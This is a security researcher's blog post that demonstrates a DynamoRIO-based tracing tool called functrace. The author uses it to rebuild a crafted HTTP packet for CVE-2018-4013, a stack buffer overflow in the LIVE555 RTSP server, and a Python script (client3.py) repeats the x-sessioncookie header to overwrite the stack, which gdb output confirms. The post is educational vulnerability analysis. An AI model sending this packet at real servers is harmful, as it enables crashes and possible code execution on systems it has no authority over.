From vulnerability report to a crafted packet using instrumentation
During these Christmas holidays, I finally had time to implement a small tool that uses dynamic binary instrumentation (DBI) to do some runtime checks, that we will see in detail in this post. I often use tools like strace, ltrace, frida-trace to get some basic runtime information without using a real debugger.
These are all excellent tools, but sometimes I need specific information about functions (symbols access), I need to see the disassembled code only for certain portions of code etc.
So I decided to write this small tool, using DynamoRio.
These are some implemented features:
- disassemble all the executed code
- disassemble a specific function
- get arguments of a specific function
- get return value of a specific function
- monitors application signals
- generate a report file
The generated report file can be parsed by beebug.
CVE-2018-4013 analysis
A few months ago, Cisco Talos released the report for a vulnerability on the LIVE555 RTSP server library, an excellent report, but the crafted packet is not there. This is the description:
An exploitable code execution vulnerability exists in the HTTP packet-parsing functionality of the LIVE555 RTSP server library version 0.92. A specially crafted packet can cause a stack-based buffer overflow, resulting in code execution. An attacker can send a packet to trigger this vulnerability.
We will see how to build a crafted packet that give raise to the stack buffer overflow with the help of the [functrace](https://github.com/invictus1306/functrace) client.
You can download the vulnerable version here (I downloaded live.2018.10.10.tar.gz) and compile it with the default options.
If we run it (mediaServer/live555MediaServer) it will listen on port 80 (RTSP-over-HTTP tunneling).
I created a real simple script, to try to interact with the server (client1.py)
from socket import *
host = "127.0.0.1"
port = 80
def run():
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
header = "User-Agent: Test\r\n x-sessioncookie: BBBB\r\nAccept: AAAA\r\n\r\n"
s.send(header)
if __name__ == '__main__':
run()
Instrument the server with the functrace client
$ drrun -c libfunctrace.so -report_file report1 -- /home/invictus1306/Documents/article/live/mediaServer/live555MediaServer
and run the client1.py script.
This is the report1 file, and the function:
RTSPServer::RTSPClientConnection::parseHTTPRequestString
is there, a good start.
From the Cisco Talos report, we can see that the lookForHeader function is really important, that’s where the overflow takes place.
Our first client (client1.py) is good, but it must be improved. It might be useful to see the disassembled function (parseHTTPRequestString), and we can use functrace for this purpose:
$ drrun -c libfunctrace.so -report_file report2 -disas_func RTSPServer::RTSPClientConnection::parseHTTPRequestString -- /home/invictus1306/Documents/article/live/mediaServer/live555MediaServer
and run again the client1.py script.
This is the report2 file, where we can see the disassembled code of the parseHTTPRequestString function.
[ADDR] Start address: 0x406700 End Address: 0x4068ff PC: 0x406700 Function: RTSPServer::RTSPClientConnection::parseHTTPRequestString
TAG 0x0000000000406700
+0 L3 55 push rbp
+1 L3 53 push rbx
+2 L3 83 ea 01 sub edx, 0x01
+5 L3 48 83 ec 08 sub rsp, 0x08
+9 L3 8b af 64 9c 00 00 mov ebp, dword ptr [rdi+0x00009c64]
+15 L3 85 ed test ebp, ebp
+17 L3 0f 84 d2 00 00 00 jz 0x00000000004067e9
END 0x0000000000406700
[ADDR] Start address: 0x406700 End Address: 0x4068ff PC: 0x406717 Function: RTSPServer::RTSPClientConnection::parseHTTPRequestString
TAG 0x0000000000406717
+0 L3 85 d2 test edx, edx
+2 L3 0f 84 ca 00 00 00 jz 0x00000000004067e9
END 0x0000000000406717
...
If we want to see it graphically, we can use beebug in this way;
$ python3 beebug.py -i -r report2
The report file is a png file
I want also get the arguments and the return value of the function parseHTTPRequestString (8 arguments)
$ drrun -c libfunctrace.so -report_file report3 -disas_func RTSPServer::RTSPClientConnection::parseHTTPRequestString -wrap_function RTSPServer::RTSPClientConnection::parseHTTPRequestString -wrap_function_args 8 -- /home/invictus1306/Documents/article/live/mediaServer/live555MediaServer
the report3 file contains all the information that we need:
[ARG] Arg 0: 0x6a6900
[ARG] Arg 1: 0x7ffd0cc73430
[ARG] Arg 2: 0xc8
[ARG] Arg 3: 0x7ffd0cc735d0
[ARG] Arg 4: 0xc8
[ARG] Arg 5: 0x7ffd0cc73840
[ARG] Arg 6: 0xc8
[ARG] Arg 7: 0x7ffd0cc73910
[RET] Function: RTSPServer::RTSPClientConnection::parseHTTPRequestString ret_value: 0x0
We can notice that the return value is 0 (return False).
This is one of the last basic blocks
[ADDR] Start address: 0x406700 End Address: 0x4068ff PC: 0x4067a9 Function: RTSPServer::RTSPClientConnection::parseHTTPRequestString*
*TAG 0x00000000004067a9*
*+0 L3 41 8d 42 01 lea eax, [r10+0x01]*
*+4 L3 41 89 c2 mov r10d, eax*
*+7 L3 41 80 fb 48 cmp r11l, 0x48*
*+11 L3 75 da jnz 0x0000000000406790*
*END 0x00000000004067a9
Open the server with radare2 (in order to have the whole code)
[0x004067a9]> s 0x4067a9
[0x004067a9]> pd 10
| :: 0x004067a9 418d4201 lea eax, [r10 + 1] ; 1
| :: 0x004067ad 4189c2 mov r10d, eax
| :: ; CODE XREF from 0x00406785 (sym.RTSPServer::RTSPClientConnection::parseHTTPRequestString_char__unsignedint_char__unsignedint_char__unsignedint_char__unsignedint)
| :: 0x004067b0 4180fb48 cmp r11b, 0x48 ; 'H' ; 72
| ==< 0x004067b4 75da jne 0x406790
| : 0x004067b6 4489d0 mov eax, r10d
| : 0x004067b9 440fb61c03 movzx r11d, byte [rbx + rax]
| : 0x004067be 4180fb54 cmp r11b, 0x54 ; 'T' ; 84
|=< 0x004067c2 75cc jne 0x406790
| 0x004067c4 418d7201 lea esi, [r10 + 1] ; 1
| 0x004067c8 803c3354 cmp byte [rbx + rsi], 0x54 ; [0x54:1]=255 ; 'T' ; 84`
and after a brief analysis, we can notice that the server is looking for the string “HTTP/”, before the first \r or \n .
So we can edit the the client script in that way (file: client2.py)
from socket import *
host = "127.0.0.1"
port = 80
def run():
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
header = " HTTP/\r\n x-sessioncookie: BBBB\r\nAccept: AAAA\r\n\r\n"
s.send(header)
if __name__ == '__main__':
run()
If we run again the instrumented server
$ drrun -c libfunctrace.so -report_file report4 -- /home/invictus1306/Documents/article/live/mediaServer/live555MediaServer
with the new python client (client2.py), we can see inside the report4 file the lookForHeader function
[ADDR] Start address: 0x406580 End Address: 0x4066f7 PC: 0x406580 Function: lookForHeader
We are ready to go on with the analysis, we already know the problem, this has been described in the Cisco Talos report, if we look into the disassembled code of the lookForHeader function, there are 2 important instructions:
- 0x40659a
- 0x4066b7
Address 0x40659a
0x0040659a c60100 mov byte [rcx], 0
0x0040659d 48890c24 mov qword [rsp], rcx
it means:
resultStr[0] = '\0'; // by default, return an empty string
Address 0x4066b7
0x004066a8 4883c201 add rdx, 1
0x004066ac 0fb64aff movzx ecx, byte [rdx - 1]
0x004066b0 4883c601 add rsi, 1
0x004066b4 4839c2 cmp rdx, rax
0x004066b7 884eff mov byte [rsi - 1], cl
0x004066ba 75ec jne 0x4066a8
The lookForHeader function is called 2 times
lookForHeader("x-sessioncookie", &reqStr[i], reqStrSize-i, sessionCookie, sessionCookieMaxSize);
lookForHeader("Accept", &reqStr[i], reqStrSize-i, acceptStr, acceptStrMaxSize);
If we send a proper packet with this header:
...
x-sessioncookie: BBBB
...
At line 0x004066ac the value of the fist byte is put inside ecx.
At line 0x004066b7 the byte read, is put into [rsi - 1].
The contents of the rsi register is an address, and it is the resultStr variable (local variable array with a fix size of 200, it is allocated in the stack).
If there are many x-sessioncookie (or Accept), the resultStr address continues to increment (line 0x4066cb) until a stack overflow is triggered.
This is the code that send the crafted packet (client3.py)
from socket import *
host = "127.0.0.1"
port = 80
def run():
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
payload = "x-sessioncookie: BBBB\r\n"*200
header = " HTTP/\r\n" + payload + "Accept: AAAA\r\n\r\n"
s.send(header)
if __name__ == '__main__':
run()
Verify it with the debugger:
gdb /home/invictus1306/Documents/article/live/mediaServer/live555MediaServer
set these 2 breakpoint:
b *0x40659A
b *0x4066cb
b RTSPServer::RTSPClientConnection::handleRequestBytes(int)
Run the server and run the client3 python script, so the first we reach the first breakpoint in the handleRequestBytes function, the stack pointer contains the return value
gef➤ x/x $sp
0x7fffffffe0e8: 0x00406077
Go on, and we reach the second breakpoint at address 0x40659A
$rcx : 0x00007fffffffde40
So the address of resultStr is 0x00007fffffffde40.
At the end of the function, this is the state:
gef➤ x/180x 0x00007fffffffde40
0x7fffffffde40: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffde50: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffde60: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffde70: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffde80: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffde90: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdea0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdeb0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdec0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffded0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdee0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdef0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdf00: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdf10: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdf20: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdf30: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdf40: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdf50: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdf60: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdf70: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdf80: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdf90: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdfa0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdfb0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdfc0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdfd0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdfe0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffdff0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe000: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe010: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe020: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe030: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe040: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe050: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe060: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe070: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe080: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe090: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe0a0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe0b0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe0c0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe0d0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe0e0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe0f0: 0x42424242 0x42424242 0x42424242 0x42424242
0x7fffffffe100: 0x42424242 0x42424242 0x42424242 0x42424242
We can see that the return value of the function handleRequestBytes (0x7fffffffe0e8) has been overwritten along with other local variables.
Conclusion
In this post, I wanted to demonstrate how to use functrace to analyze vulnerabilities, but it could also be used for other purposes.
In the future I will add other features that could be useful for these purposes.